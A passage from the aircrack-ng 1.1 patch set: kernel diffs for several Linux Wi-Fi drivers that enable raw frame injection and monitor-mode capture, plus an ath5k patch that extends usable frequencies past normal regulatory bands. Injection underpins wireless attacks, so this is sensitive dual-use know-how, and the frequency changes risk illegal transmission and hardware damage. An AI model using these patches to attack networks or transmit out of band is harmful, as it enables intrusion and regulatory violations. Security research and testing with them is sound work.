IEEE80211_TX_CTL_ASSIGN_SEQ))) + return TX_CONTINUE; + info->flags &= ~IEEE80211_TX_CTL_ASSIGN_SEQ; + /* * Packet injection may want to control the sequence * number, if we have no matching interface then we @@ -867,6 +871,7 @@ __ieee80211_parse_tx_radiotap(struct ieee80211_tx_data *tx, struct ieee80211_radiotap_header *rthdr = (struct ieee80211_radiotap_header *) skb->data; struct ieee80211_supported_band *sband; + struct ieee80211_tx_info *info = IEEE80211_SKB_CB(tx->skb); int ret = ieee80211_radiotap_iterator_init(&iterator, rthdr, skb->len); sband = tx->local->hw.wiphy->bands[tx->channel->band]; @@ -913,6 +918,12 @@ __ieee80211_parse_tx_radiotap(struct ieee80211_tx_data *tx, if (*iterator.this_arg & IEEE80211_RADIOTAP_F_FRAG) tx->flags |= IEEE80211_TX_FRAGMENTED; break; + case IEEE80211_RADIOTAP_TX_FLAGS: + if (*iterator.this_arg & IEEE80211_RADIOTAP_F_TX_NOACK) + info->flags |= IEEE80211_TX_CTL_NO_ACK; + if (*iterator.this_arg & IEEE80211_RADIOTAP_F_TX_NOSEQ) + info->flags &= ~IEEE80211_TX_CTL_ASSIGN_SEQ; + break; /* * Please update the file @@ -965,6 +976,8 @@ __ieee80211_tx_prepare(struct ieee80211_tx_data *tx, * it will be cleared/left by radiotap as desired. */ tx->flags |= IEEE80211_TX_FRAGMENTED; + /* Same here, controlled by radiotap and the stack */ + info->flags |= IEEE80211_TX_CTL_ASSIGN_SEQ; /* process and remove the injection radiotap header */ sdata = IEEE80211_DEV_TO_SUB_IF(dev); @@ -992,13 +1005,10 @@ __ieee80211_tx_prepare(struct ieee80211_tx_data *tx, info->flags |= IEEE80211_TX_CTL_AMPDU; } - if (is_multicast_ether_addr(hdr->addr1)) { - tx->flags &= ~IEEE80211_TX_UNICAST; + if (is_multicast_ether_addr(hdr->addr1)) info->flags |= IEEE80211_TX_CTL_NO_ACK; - } else { + else tx->flags |= IEEE80211_TX_UNICAST; - info->flags &= ~IEEE80211_TX_CTL_NO_ACK; - } if (tx->flags & IEEE80211_TX_FRAGMENTED) { if ((tx->flags & IEEE80211_TX_UNICAST) && aircrack-ng-1.1/patches/madwifi-ng-r4073.patch0000644000000000000000000000705311226735175017517 0ustar rootrootdiff -dru madwifi-ng/ath/if_ath.c madwifi-ng-fixed/ath/if_ath.c --- madwifi-ng/ath/if_ath.c 2009-07-10 01:46:48.000000000 +0200 +++ madwifi-ng-fixed/ath/if_ath.c 2009-07-10 01:59:58.000000000 +0200 @@ -3010,6 +3010,7 @@ ath_tx_startraw(struct net_device *dev, struct ath_buf *bf, struct sk_buff *skb) { struct ath_softc *sc = netdev_priv(dev); + struct ieee80211com *ic = &sc->sc_ic; struct ath_hal *ah = sc->sc_ah; struct ieee80211_phy_params *ph = &(SKB_CB(skb)->phy); const HAL_RATE_TABLE *rt; @@ -3022,7 +3023,7 @@ struct ieee80211_frame *wh; wh = (struct ieee80211_frame *)skb->data; - try0 = ph->try[0]; + try0 = (ic->ic_opmode == IEEE80211_M_MONITOR) ? 1 : ph->try[0]; rt = sc->sc_currates; txrate = dot11_to_ratecode(sc, rt, ph->rate[0]); power = ph->power > 60 ? 60 : ph->power; @@ -3046,7 +3047,8 @@ rt = sc->sc_currates; KASSERT(rt != NULL, ("no rate table, mode %u", sc->sc_curmode)); - if (IEEE80211_IS_MULTICAST(wh->i_addr1)) { + if (IEEE80211_IS_MULTICAST(wh->i_addr1) || ((ic->ic_opmode == +IEEE80211_M_MONITOR) && (skb->data[1]&3) != 0x01) ) { flags |= HAL_TXDESC_NOACK; /* no ack on broad/multicast */ sc->sc_stats.ast_tx_noack++; try0 = 1; Only in madwifi-ng-fixed/ath: if_ath.c.orig diff -dru madwifi-ng/ath_hal/ar5211/ar5211_reset.c madwifi-ng-fixed/ath_hal/ar5211/ar5211_reset.c --- madwifi-ng/ath_hal/ar5211/ar5211_reset.c 2009-07-10 01:46:38.000000000 +0200 +++ madwifi-ng-fixed/ath_hal/ar5211/ar5211_reset.c 2009-07-10 01:52:18.000000000 +0200 @@ -987,7 +987,7 @@ if (AH_PRIVATE(ah)->ah_macVersion < AR_SREV_VERSION_OAHU && ath_hal_getnfcheckrequired(ah, (HAL_CHANNEL *) chan)) { static const uint8_t runtime[3] = { 0, 2, 7 }; - int16_t nf, nfThresh; + int16_t nf, nfThresh = 0; int i; if (!getNoiseFloorThresh(ah, chan, &nfThresh)) diff -dru madwifi-ng/ath_hal/ar5212/ar5212_reset.c madwifi-ng-fixed/ath_hal/ar5212/ar5212_reset.c --- madwifi-ng/ath_hal/ar5212/ar5212_reset.c 2009-07-10 01:46:41.000000000 +0200 +++ madwifi-ng-fixed/ath_hal/ar5212/ar5212_reset.c 2009-07-10 01:53:24.000000000 +0200 @@ -1264,7 +1264,7 @@ { struct ath_hal_5212 *ahp = AH5212(ah); struct ar5212NfCalHist *h = &ahp->ah_nfCalHist; - int16_t nf, nfThresh; + int16_t nf, nfThresh = 0; int32_t val; if (OS_REG_READ(ah, AR_PHY_AGC_CONTROL) & AR_PHY_AGC_CONTROL_NF) { diff -dru madwifi-ng/net80211/ieee80211_scan_sta.c madwifi-ng-fixed/net80211/ieee80211_scan_sta.c --- madwifi-ng/net80211/ieee80211_scan_sta.c 2009-07-10 01:46:32.000000000 +0200 +++ madwifi-ng-fixed/net80211/ieee80211_scan_sta.c 2009-07-10 01:56:57.000000000 +0200 @@ -357,7 +357,7 @@ struct ieee80211_scan_state *ss, enum ieee80211_phymode mode, const u_int16_t freq[], int nfreq) { - struct ieee80211_channel *c, *cg; + struct ieee80211_channel *c, *cg = NULL; u_int modeflags; int i; @@ -1293,7 +1293,7 @@ u_int32_t flags) { struct sta_table *st = ss->ss_priv; - struct sta_entry *selbs; + struct sta_entry *selbs = NULL; struct ieee80211_channel *chan; KASSERT(vap->iv_opmode == IEEE80211_M_IBSS || diff -dru madwifi-ng/net80211/ieee80211_skb.c madwifi-ng-fixed/net80211/ieee80211_skb.c --- madwifi-ng/net80211/ieee80211_skb.c 2009-07-10 01:46:32.000000000 +0200 +++ madwifi-ng-fixed/net80211/ieee80211_skb.c 2009-07-10 01:54:54.000000000 +0200 @@ -464,7 +464,7 @@ * - Break the linked list, clearing next skb's prev pointer if possible. */ void ieee80211_dev_kfree_skb(struct sk_buff **pskb) { - struct sk_buff *skb; + struct sk_buff *skb = NULL; /* Do not fail on null, as we are going to use this in cleanup code. */ if (!pskb || !(skb = *pskb)) aircrack-ng-1.1/patches/b43-injection-2.6.24.4.patch0000644000000000000000000000553311000127110020130 0ustar rootroot# Kernel >= 2.6.24.1 highly recommended # Fixes injection speed (up to 350 pps) # Fixes fragmented injection (requires mac80211 patch too) diff -bBur linux-2.6.24.4/drivers/net/wireless/b43/main.c linux-2.6.24.4-sud/drivers/net/wireless/b43/main.c --- linux-2.6.24.4/drivers/net/wireless/b43/main.c 2008-04-05 16:25:11.000000000 +0200 +++ linux-2.6.24.4-sud/drivers/net/wireless/b43/main.c 2008-04-05 16:45:11.000000000 +0200 @@ -2516,6 +2516,11 @@ goto out; if (unlikely(b43_status(dev) < B43_STAT_STARTED)) goto out; + + if (ctl->type == IEEE80211_IF_TYPE_MNTR) { + ctl->flags |= IEEE80211_TXCTL_NO_ACK; + } + /* DMA-TX is done without a global lock. */ if (b43_using_pio(dev)) { spin_lock_irqsave(&wl->irq_lock, flags); diff -bBur linux-2.6.24.4/drivers/net/wireless/b43/xmit.c linux-2.6.24.4-sud/drivers/net/wireless/b43/xmit.c --- linux-2.6.24.4/drivers/net/wireless/b43/xmit.c 2008-04-05 16:25:11.000000000 +0200 +++ linux-2.6.24.4-sud/drivers/net/wireless/b43/xmit.c 2008-04-05 16:48:51.000000000 +0200 @@ -295,7 +295,8 @@ /* MAC control */ if (!(txctl->flags & IEEE80211_TXCTL_NO_ACK)) mac_ctl |= B43_TX4_MAC_ACK; - if (!(((fctl & IEEE80211_FCTL_FTYPE) == IEEE80211_FTYPE_CTL) && + if ( (txctl->type != IEEE80211_IF_TYPE_MNTR) && + !(((fctl & IEEE80211_FCTL_FTYPE) == IEEE80211_FTYPE_CTL) && ((fctl & IEEE80211_FCTL_STYPE) == IEEE80211_STYPE_PSPOLL))) mac_ctl |= B43_TX4_MAC_HWSEQ; if (txctl->flags & IEEE80211_TXCTL_FIRST_FRAGMENT) diff -bBur linux-2.6.24.4/drivers/net/wireless/b43legacy/main.c linux-2.6.24.4-sud/drivers/net/wireless/b43legacy/main.c --- linux-2.6.24.4/drivers/net/wireless/b43legacy/main.c 2008-04-05 16:25:11.000000000 +0200 +++ linux-2.6.24.4-sud/drivers/net/wireless/b43legacy/main.c 2008-04-05 16:45:11.000000000 +0200 @@ -2379,6 +2379,11 @@ goto out; if (unlikely(b43legacy_status(dev) < B43legacy_STAT_STARTED)) goto out; + + if (ctl->type == IEEE80211_IF_TYPE_MNTR) { + ctl->flags |= IEEE80211_TXCTL_NO_ACK; + } + /* DMA-TX is done without a global lock. */ if (b43legacy_using_pio(dev)) { spin_lock_irqsave(&wl->irq_lock, flags); diff -bBur linux-2.6.24.4/drivers/net/wireless/b43legacy/xmit.c linux-2.6.24.4-sud/drivers/net/wireless/b43legacy/xmit.c --- linux-2.6.24.4/drivers/net/wireless/b43legacy/xmit.c 2008-04-05 16:25:11.000000000 +0200 +++ linux-2.6.24.4-sud/drivers/net/wireless/b43legacy/xmit.c 2008-04-05 16:49:02.000000000 +0200 @@ -290,7 +290,8 @@ /* MAC control */ if (!(txctl->flags & IEEE80211_TXCTL_NO_ACK)) mac_ctl |= B43legacy_TX4_MAC_ACK; - if (!(((fctl & IEEE80211_FCTL_FTYPE) == IEEE80211_FTYPE_CTL) && + if ( (txctl->type != IEEE80211_IF_TYPE_MNTR) && + !(((fctl & IEEE80211_FCTL_FTYPE) == IEEE80211_FTYPE_CTL) && ((fctl & IEEE80211_FCTL_STYPE) == IEEE80211_STYPE_PSPOLL))) mac_ctl |= B43legacy_TX4_MAC_HWSEQ; if (txctl->flags & IEEE80211_TXCTL_FIRST_FRAGMENT) aircrack-ng-1.1/patches/ath5k-frequency-chaos-2.6.28.patch0000644000000000000000000001323311143173567021555 0ustar rootrootdiff -Naur linux-2.6.28/drivers/net/wireless/ath5k/base.c linux-2.6.28-chaos/drivers/net/wireless/ath5k/base.c --- linux-2.6.28/drivers/net/wireless/ath5k/base.c 2008-12-24 18:26:37.000000000 -0500 +++ linux-2.6.28-chaos/drivers/net/wireless/ath5k/base.c 2009-02-06 21:38:43.000000000 -0500 @@ -272,7 +272,7 @@ static void ath5k_detach(struct pci_dev *pdev, struct ieee80211_hw *hw); /* Channel/mode setup */ -static inline short ath5k_ieee2mhz(short chan); +static inline short ath5k_ieee2mhz(int chan, unsigned int chfreq); static unsigned int ath5k_copy_channels(struct ath5k_hw *ah, struct ieee80211_channel *channels, unsigned int mode, @@ -848,12 +848,16 @@ * Convert IEEE channel number to MHz frequency. */ static inline short -ath5k_ieee2mhz(short chan) +ath5k_ieee2mhz(int chan, unsigned int chfreq) { - if (chan <= 14 || chan >= 27) - return ieee80211chan2mhz(chan); + if (chfreq == CHANNEL_5GHZ) + return (chan + 1000) * 5; else - return 2212 + chan * 20; +// XXX: This part needs to be fixed + if (chan <= 14 || chan >= 27) + return ieee80211chan2mhz(chan); + else + return 2212 + chan * 20; } static unsigned int @@ -862,22 +866,25 @@ unsigned int mode, unsigned int max) { - unsigned int i, count, size, chfreq, freq, ch; + unsigned int i, count, size, chfreq, freq; + int ch; if (!test_bit(mode, ah->ah_modes)) return 0; switch (mode) { + /* I don't even like channel numbers */ case AR5K_MODE_11A: case AR5K_MODE_11A_TURBO: - /* 1..220, but 2GHz frequencies are filtered by check_channel */ - size = 220 ; + size = 241 ; // going over 6.0GHz may be dangerous so I am limiting it + ch = -40; // might be able to push this to -201 or so, needs more testing chfreq = CHANNEL_5GHZ; break; case AR5K_MODE_11B: case AR5K_MODE_11G: case AR5K_MODE_11G_TURBO: - size = 26; + size = 70; + ch = -43; chfreq = CHANNEL_2GHZ; break; default: @@ -885,9 +892,8 @@ return 0; } - for (i = 0, count = 0; i < size && max > 0; i++) { - ch = i + 1 ; - freq = ath5k_ieee2mhz(ch); + for (i = 0, count = 0; i < size && max > 0; i++,ch++) { + freq = ath5k_ieee2mhz(ch,chfreq); /* Check if channel is supported by the chipset */ if (!ath5k_channel_ok(ah, freq, chfreq)) diff -Naur linux-2.6.28/drivers/net/wireless/ath5k/base.h linux-2.6.28-chaos/drivers/net/wireless/ath5k/base.h --- linux-2.6.28/drivers/net/wireless/ath5k/base.h 2008-12-24 18:26:37.000000000 -0500 +++ linux-2.6.28-chaos/drivers/net/wireless/ath5k/base.h 2009-02-06 21:38:43.000000000 -0500 @@ -93,11 +93,7 @@ }; -#if CHAN_DEBUG -#define ATH_CHAN_MAX (26+26+26+200+200) -#else -#define ATH_CHAN_MAX (14+14+14+252+20) -#endif +#define ATH_CHAN_MAX (70+70+70+240+240) // b+g+gT+a+aT XXX: This is probably excessive /* Software Carrier, keeps track of the driver state * associated with an instance of a device */ diff -Naur linux-2.6.28/drivers/net/wireless/ath5k/caps.c linux-2.6.28-chaos/drivers/net/wireless/ath5k/caps.c --- linux-2.6.28/drivers/net/wireless/ath5k/caps.c 2008-12-24 18:26:37.000000000 -0500 +++ linux-2.6.28-chaos/drivers/net/wireless/ath5k/caps.c 2009-02-06 21:38:43.000000000 -0500 @@ -69,9 +69,9 @@ if (AR5K_EEPROM_HDR_11A(ee_header)) { /* 4920 */ - ah->ah_capabilities.cap_range.range_5ghz_min = 5005; - ah->ah_capabilities.cap_range.range_5ghz_max = 6100; - + ah->ah_capabilities.cap_range.range_5ghz_min = 4800; + ah->ah_capabilities.cap_range.range_5ghz_max = 6000; /* 6100 is what the code said but */ + /* it fried my Ubiquiti SRC */ /* Set supported modes */ __set_bit(AR5K_MODE_11A, ah->ah_capabilities.cap_mode); @@ -87,7 +87,7 @@ if (AR5K_EEPROM_HDR_11B(ee_header) || AR5K_EEPROM_HDR_11G(ee_header)) { /* 2312 */ - ah->ah_capabilities.cap_range.range_2ghz_min = 2412; + ah->ah_capabilities.cap_range.range_2ghz_min = 2192; /* this is the bottom of the registers */ ah->ah_capabilities.cap_range.range_2ghz_max = 2732; if (AR5K_EEPROM_HDR_11B(ee_header)) diff -Naur linux-2.6.28/net/mac80211/tx.c linux-2.6.28-chaos/net/mac80211/tx.c --- linux-2.6.28/net/mac80211/tx.c 2008-12-24 18:26:37.000000000 -0500 +++ linux-2.6.28-chaos/net/mac80211/tx.c 2009-02-06 21:38:53.000000000 -0500 @@ -1378,10 +1378,32 @@ struct net_device *dev) { struct ieee80211_local *local = wdev_priv(dev->ieee80211_ptr); + struct ieee80211_channel *chan = local->hw.conf.channel; struct ieee80211_radiotap_header *prthdr = (struct ieee80211_radiotap_header *)skb->data; u16 len_rthdr; + /* + * Frame injection is not allowed if beaconing is not allowed + * or if we need radar detection. Beaconing is usually not allowed when + * the mode or operation (Adhoc, AP, Mesh) does not support DFS. + * Passive scan is also used in world regulatory domains where + * your country is not known and as such it should be treated as + * NO TX unless the channel is explicitly allowed in which case + * your current regulatory domain would not have the passive scan + * flag. + * + * Since AP mode uses monitor interfaces to inject/TX management + * frames we can make AP mode the exception to this rule once it + * supports radar detection as its implementation can deal with + * radar detection by itself. We can do that later by adding a + * monitor flag interfaces used for AP support. + */ + if ((chan->flags & (IEEE80211_CHAN_NO_IBSS | IEEE80211_CHAN_RADAR | + IEEE80211_CHAN_PASSIVE_SCAN))) + return TX_DROP; + /* This was intended for the kernel patch but it didn't work; goto fail; */ + /* check for not even having the fixed radiotap header part */ if (unlikely(skb->len < sizeof(struct ieee80211_radiotap_header))) goto fail; /* too short to be possibly valid */ aircrack-ng-1.1/patches/zd1211rw_inject_2.6.26.patch0000644000000000000000000000254411041622367020353 0ustar rootrootdiff -pur drivers/net/wireless/zd1211rw/zd_mac.c.orig drivers/net/wireless/zd1211rw/zd_mac.c --- drivers/net/wireless/zd1211rw/zd_mac.c.orig 2008-07-20 19:44:42.000000000 +0200 +++ drivers/net/wireless/zd1211rw/zd_mac.c 2008-07-20 19:49:24.000000000 +0200 @@ -159,14 +159,19 @@ void zd_mac_clear(struct zd_mac *mac) static int set_rx_filter(struct zd_mac *mac) { unsigned long flags; - u32 filter = STA_RX_FILTER; + struct zd_ioreq32 ioreqs[] = { + {CR_RX_FILTER, STA_RX_FILTER}, + { CR_SNIFFER_ON, 0U }, + }; spin_lock_irqsave(&mac->lock, flags); - if (mac->pass_ctrl) - filter |= RX_FILTER_CTRL; + if (mac->pass_ctrl) { + ioreqs[0].value |= 0xFFFFFFFF; + ioreqs[1].value = 0x1; + } spin_unlock_irqrestore(&mac->lock, flags); - return zd_iowrite32(&mac->chip, CR_RX_FILTER, filter); + return zd_iowrite32a(&mac->chip, ioreqs, ARRAY_SIZE(ioreqs)); } static int set_mc_hash(struct zd_mac *mac) @@ -679,7 +684,8 @@ int zd_mac_rx(struct ieee80211_hw *hw, c /* Caller has to ensure that length >= sizeof(struct rx_status). */ status = (struct rx_status *) (buffer + (length - sizeof(struct rx_status))); - if (status->frame_status & ZD_RX_ERROR) { + if ((status->frame_status & ZD_RX_ERROR) || + (status->frame_status & ~0x21)) { if (mac->pass_failed_fcs && (status->frame_status & ZD_RX_CRC32_ERROR)) { stats.flag |= RX_FLAG_FAILED_FCS_CRC; aircrack-ng-1.1/patches/rtl8187_2.6.27.patch0000644000000000000000000156417611050354367016677 0ustar rootrootdiff -Naur rtl8187_linux_26.1010.0622.2006_orig/beta-8187/ieee80211_crypt.h rtl8187_linux_26.1010.0622.2006_rawtx/beta-8187/ieee80211_crypt.h --- rtl8187_linux_26.1010.0622.2006_orig/beta-8187/ieee80211_crypt.h 2006-06-05 22:58:02.000000000 -0400 +++ rtl8187_linux_26.1010.0622.2006_rawtx/beta-8187/ieee80211_crypt.h 2008-08-12 13:11:32.000000000 -0400 @@ -75,12 +75,12 @@ atomic_t refcnt; }; -int ieee80211_register_crypto_ops(struct ieee80211_crypto_ops *ops); -int ieee80211_unregister_crypto_ops(struct ieee80211_crypto_ops *ops); -struct ieee80211_crypto_ops * ieee80211_get_crypto_ops(const char *name); -void ieee80211_crypt_deinit_entries(struct ieee80211_device *, int); -void ieee80211_crypt_deinit_handler(unsigned long); -void ieee80211_crypt_delayed_deinit(struct ieee80211_device *ieee, +int ieee80211_register_crypto_ops_rtl7(struct ieee80211_crypto_ops *ops); +int ieee80211_unregister_crypto_ops_rtl7(struct ieee80211_crypto_ops *ops); +struct ieee80211_crypto_ops * ieee80211_get_crypto_ops_rtl7(const char *name); +void ieee80211_crypt_deinit_entries_rtl7(struct ieee80211_device *, int); +void ieee80211_crypt_deinit_handler_rtl7(unsigned long); +void ieee80211_crypt_delayed_deinit_rtl7(struct ieee80211_device *ieee, struct ieee80211_crypt_data **crypt); #endif diff -Naur rtl8187_linux_26.1010.0622.2006_orig/beta-8187/ieee80211.h rtl8187_linux_26.1010.0622.2006_rawtx/beta-8187/ieee80211.h --- rtl8187_linux_26.1010.0622.2006_orig/beta-8187/ieee80211.h 2006-06-05 22:58:02.000000000 -0400 +++ rtl8187_linux_26.1010.0622.2006_rawtx/beta-8187/ieee80211.h 2008-08-12 14:23:31.000000000 -0400 @@ -120,7 +120,7 @@ static inline unsigned long msleep_interruptible_rtl(unsigned int msecs) { unsigned long timeout = MSECS(msecs) + 1; - + while (timeout) { set_current_state(TASK_UNINTERRUPTIBLE); timeout = schedule_timeout(timeout); @@ -156,6 +156,22 @@ struct list_head list; }; +#define LWNG_CAP_DID_BASE (4 | (1 << 6)) /* section 4, group 1 */ +/* ARPHRD_IEEE80211_PRISM uses a bloated version of Prism2 RX frame header + * (from linux-wlan-ng) */ +struct linux_wlan_ng_val { + u32 did; + u16 status, len; + u32 data; +} __attribute__ ((packed)); + +struct linux_wlan_ng_prism_hdr { + u32 msgcode, msglen; + char devname[16]; + struct linux_wlan_ng_val hosttime, mactime, channel, rssi, sq, signal, + noise, rate, istx, frmlen; +} __attribute__ ((packed)); + struct ieee80211_hdr { u16 frame_ctl; u16 duration_id; @@ -798,7 +814,7 @@ /* the card is not linked at all */ IEEE80211_NOLINK = 0, - + /* IEEE80211_ASSOCIATING* are for BSS client mode * the driver shall not perform RX filtering unless * the state is LINKED. @@ -806,31 +822,31 @@ * defaults to NOLINK for ALL the other states (including * LINKED_SCANNING) */ - + /* the association procedure will start (wq scheduling)*/ IEEE80211_ASSOCIATING, IEEE80211_ASSOCIATING_RETRY, - + /* the association procedure is sending AUTH request*/ IEEE80211_ASSOCIATING_AUTHENTICATING, - + /* the association procedure has successfully authentcated * and is sending association request */ IEEE80211_ASSOCIATING_AUTHENTICATED, - + /* the link is ok. the card associated to a BSS or linked * to a ibss cell or acting as an AP and creating the bss */ IEEE80211_LINKED, - + /* same as LINKED, but the driver shall apply RX filter * rules as we are in NO_LINK mode. As the card is still * logically linked, but it is doing a syncro site survey * then it will be back to LINKED state. */ IEEE80211_LINKED_SCANNING, - + }; #define DEFAULT_MAX_SCAN_AGE (15 * HZ) @@ -840,14 +856,14 @@ #if (LINUX_VERSION_CODE <= KERNEL_VERSION(2,6,11)) -extern inline int is_multicast_ether_addr(const u8 *addr) +extern inline int is_multicast_ether_addr_rtl7(const u8 *addr) { return ((addr[0] != 0xff) && (0x01 & addr[0])); } #endif #if (LINUX_VERSION_CODE <= KERNEL_VERSION(2,6,13)) -extern inline int is_broadcast_ether_addr(const u8 *addr) +extern inline int is_broadcast_ether_addr_rtl7(const u8 *addr) { return ((addr[0] == 0xff) && (addr[1] == 0xff) && (addr[2] == 0xff) && \ (addr[3] == 0xff) && (addr[4] == 0xff) && (addr[5] == 0xff)); @@ -870,7 +886,7 @@ struct net_device_stats stats; struct ieee80211_stats ieee_stats; struct ieee80211_softmac_stats softmac_stats; - + /* Probe / Beacon management */ struct list_head network_free_list; struct list_head network_list; @@ -881,7 +897,7 @@ int iw_mode; /* operating mode (IW_MODE_*) */ spinlock_t lock; - + int tx_headroom; /* Set to size of any additional room needed at front * of allocated Tx SKBs */ u32 config; @@ -924,11 +940,11 @@ * ad-hoc is a mixture ;-). * Note that in infrastructure mode, even when not associated, * fields bssid and essid may be valid (if wpa_set and essid_set - * are true) as thy carry the value set by the user via iwconfig + * are true) as thy carry the value set by the user via iwconfig */ struct ieee80211_network current_network; - + enum ieee80211_state state; int short_slot; @@ -936,33 +952,33 @@ int modulation; /* CCK, OFDM */ int freq_band; /* 2.4Ghz, 5.2Ghz, Mixed */ int abg_true; /* ABG flag */ - - /* used for forcing the ibss workqueue to terminate + + /* used for forcing the ibss workqueue to terminate * without wait for the syncro scan to terminate */ - short sync_scan_hurryup; - + short sync_scan_hurryup; + /* map of allowed channels. 0 is dummy */ // FIXME: remeber to default to a basic channel plan depending of the PHY type int channel_map[MAX_CHANNEL_NUMBER+1]; - + int rate; /* current rate */ int basic_rate; //FIXME: pleace callback, see if redundant with softmac_features short active_scan; - + /* this contains flags for selectively enable softmac support */ u16 softmac_features; - + /* if the sequence control field is not filled by HW */ u16 seq_ctrl; - + /* association procedure transaction sequence number */ u16 associate_seq; - + /* AID for RTXed association responses */ u16 assoc_id; - + /* power save mode related*/ short ps; short sta_sleep; @@ -970,147 +986,153 @@ struct tasklet_struct ps_task; u32 ps_th; u32 ps_tl; - + short raw_tx; /* used if IEEE_SOFTMAC_TX_QUEUE is set */ short queue_stop; short scanning; short proto_started; - + struct semaphore wx_sem; struct semaphore scan_sem; - - spinlock_t mgmt_tx_lock; + + spinlock_t mgmt_tx_lock; spinlock_t beacon_lock; short beacon_txing; short wap_set; short ssid_set; - + /* for discarding duplicated packets in IBSS */ struct list_head ibss_mac_hash[IEEE_IBSS_MAC_HASH_SIZE]; - + /* for discarding duplicated packets in BSS */ u16 last_seq_num; u16 last_frag_num; unsigned long last_packet_time; - + /* for PS mode */ unsigned long last_rx_ps_time; - + /* used if IEEE_SOFTMAC_SINGLE_QUEUE is set */ struct sk_buff *mgmt_queue_ring[MGMT_QUEUE_NUM]; int mgmt_queue_head; int mgmt_queue_tail; - - + + /* used if IEEE_SOFTMAC_TX_QUEUE is set */ struct tx_pending_t tx_pending; - + /* used if IEEE_SOFTMAC_ASSOCIATE is set */ struct timer_list associate_timer; /* used if IEEE_SOFTMAC_BEACONS is set */ struct timer_list beacon_timer; - + struct work_struct associate_complete_wq; + +# if (LINUX_VERSION_CODE >= KERNEL_VERSION(2,6,20)) + struct delayed_work associate_retry_wq; + struct delayed_work softmac_scan_wq; +#else struct work_struct associate_retry_wq; + struct work_struct softmac_scan_wq; +#endif struct work_struct start_ibss_wq; struct work_struct associate_procedure_wq; - struct work_struct softmac_scan_wq; struct work_struct wx_sync_scan_wq; - + struct workqueue_struct *wq; /* Callback functions */ void (*set_security)(struct net_device *dev, struct ieee80211_security *sec); - + /* Used to TX data frame by using txb structs. * this is not used if in the softmac_features * is set the flag IEEE_SOFTMAC_TX_QUEUE */ int (*hard_start_xmit)(struct ieee80211_txb *txb, struct net_device *dev); - + int (*reset_port)(struct net_device *dev); - /* Softmac-generated frames (mamagement) are TXed via this - * callback if the flag IEEE_SOFTMAC_SINGLE_QUEUE is - * not set. As some cards may have different HW queues that + /* Softmac-generated frames (mamagement) are TXed via this + * callback if the flag IEEE_SOFTMAC_SINGLE_QUEUE is + * not set. As some cards may have different HW queues that * one might want to use for data and management frames * the option to have two callbacks might be useful. * This fucntion can't sleep. */ int (*softmac_hard_start_xmit)(struct sk_buff *skb, struct net_device *dev); - + /* used instead of hard_start_xmit (not softmac_hard_start_xmit) * if the IEEE_SOFTMAC_TX_QUEUE feature is used to TX data * frames. I the option IEEE_SOFTMAC_SINGLE_QUEUE is also set * then also management frames are sent via this callback. * This function can't sleep. - */ + */ void (*softmac_data_hard_start_xmit)(struct sk_buff *skb, struct net_device *dev,int rate); /* stops the HW queue for DATA frames. Useful to avoid * waste time to TX data frame when we are reassociating * This function can sleep. - */ + */ void (*data_hard_stop)(struct net_device *dev); - + /* OK this is complementar to data_poll_hard_stop */ void (*data_hard_resume)(struct net_device *dev); - + /* ask to the driver to retune the radio . * This function can sleep. the driver should ensure * the radio has been swithced before return. */ void (*set_chan)(struct net_device *dev,short ch); - + /* These are not used if the ieee stack takes care of - * scanning (IEEE_SOFTMAC_SCAN feature set). + * scanning (IEEE_SOFTMAC_SCAN feature set). * In this case only the set_chan is used. * * The syncro version is similar to the start_scan but * does not return until all channels has been scanned. - * this is called in user context and should sleep, + * this is called in user context and should sleep, * it is called in a work_queue when swithcing to ad-hoc mode - * or in behalf of iwlist scan when the card is associated - * and root user ask for a scan. + * or in behalf of iwlist scan when the card is associated + * and root user ask for a scan. * the fucntion stop_scan should stop both the syncro and * background scanning and can sleep. - * The fucntion start_scan should initiate the background + * The fucntion start_scan should initiate the background * scanning and can't sleep. - */ + */ void (*scan_syncro)(struct net_device *dev); void (*start_scan)(struct net_device *dev); void (*stop_scan)(struct net_device *dev); - + /* indicate the driver that the link state is changed * for example it may indicate the card is associated now. - * Driver might be interested in this to apply RX filter - * rules or simply light the LINK led + * Driver might be interested in this to apply RX filter + * rules or simply light the LINK led */ void (*link_change)(struct net_device *dev); - + /* these two function indicates to the HW when to start - * and stop to send beacons. This is used when the + * and stop to send beacons. This is used when the * IEEE_SOFTMAC_BEACONS is not set. For now the * stop_send_bacons is NOT guaranteed to be called only * after start_send_beacons. */ void (*start_send_beacons) (struct net_device *dev); void (*stop_send_beacons) (struct net_device *dev); - + /* power save mode related */ void (*sta_wake_up) (struct net_device *dev); void (*ps_request_tx_ack) (struct net_device *dev); void (*enter_sleep_state) (struct net_device *dev, u32 th, u32 tl); short (*ps_is_queue_empty) (struct net_device *dev); - - + + /* This must be the last item so that it points to the data * allocated beyond this structure by alloc_ieee80211 */ u8 priv[0]; @@ -1148,18 +1170,21 @@ #define IEEE_SOFTMAC_SINGLE_QUEUE (1<<8) /* Generate beacons. The stack will enqueue beacons - * to the card - */ + * to the card + */ #define IEEE_SOFTMAC_BEACONS (1<<6) - -extern inline void *ieee80211_priv(struct net_device *dev) +#if WIRELESS_EXT >= 22 +static inline void *ieee80211_priv_rtl7(struct net_device *dev) +#else +extern inline void *ieee80211_priv_rtl7(struct net_device *dev) +#endif { return ((struct ieee80211_device *)netdev_priv(dev))->priv; } -extern inline int ieee80211_is_empty_essid(const char *essid, int essid_len) +extern inline int ieee80211_is_empty_essid_rtl7(const char *essid, int essid_len) { /* Single white space is for Linksys APs */ if (essid_len == 1 && essid[0] == ' ') @@ -1175,7 +1200,7 @@ return 1; } -extern inline int ieee80211_is_valid_mode(struct ieee80211_device *ieee, int mode) +extern inline int ieee80211_is_valid_mode_rtl7(struct ieee80211_device *ieee, int mode) { /* * It is possible for both access points and our device to support @@ -1201,7 +1226,7 @@ return 0; } -extern inline int ieee80211_get_hdrlen(u16 fc) +extern inline int ieee80211_get_hdrlen_rtl7(u16 fc) { int hdrlen = 24; @@ -1229,140 +1254,144 @@ /* ieee80211.c */ -extern void free_ieee80211(struct net_device *dev); -extern struct net_device *alloc_ieee80211(int sizeof_priv); +extern void free_ieee80211_rtl7(struct net_device *dev); +extern struct net_device *alloc_ieee80211_rtl7(int sizeof_priv); -extern int ieee80211_set_encryption(struct ieee80211_device *ieee); +extern int ieee80211_set_encryption_rtl7(struct ieee80211_device *ieee); /* ieee80211_tx.c */ -extern int ieee80211_encrypt_fragment( +extern int ieee80211_encrypt_fragment_rtl7( struct ieee80211_device *ieee, struct sk_buff *frag, int hdr_len); - -extern int ieee80211_xmit(struct sk_buff *skb, + +extern int ieee80211_xmit_rtl7(struct sk_buff *skb, struct net_device *dev); -extern void 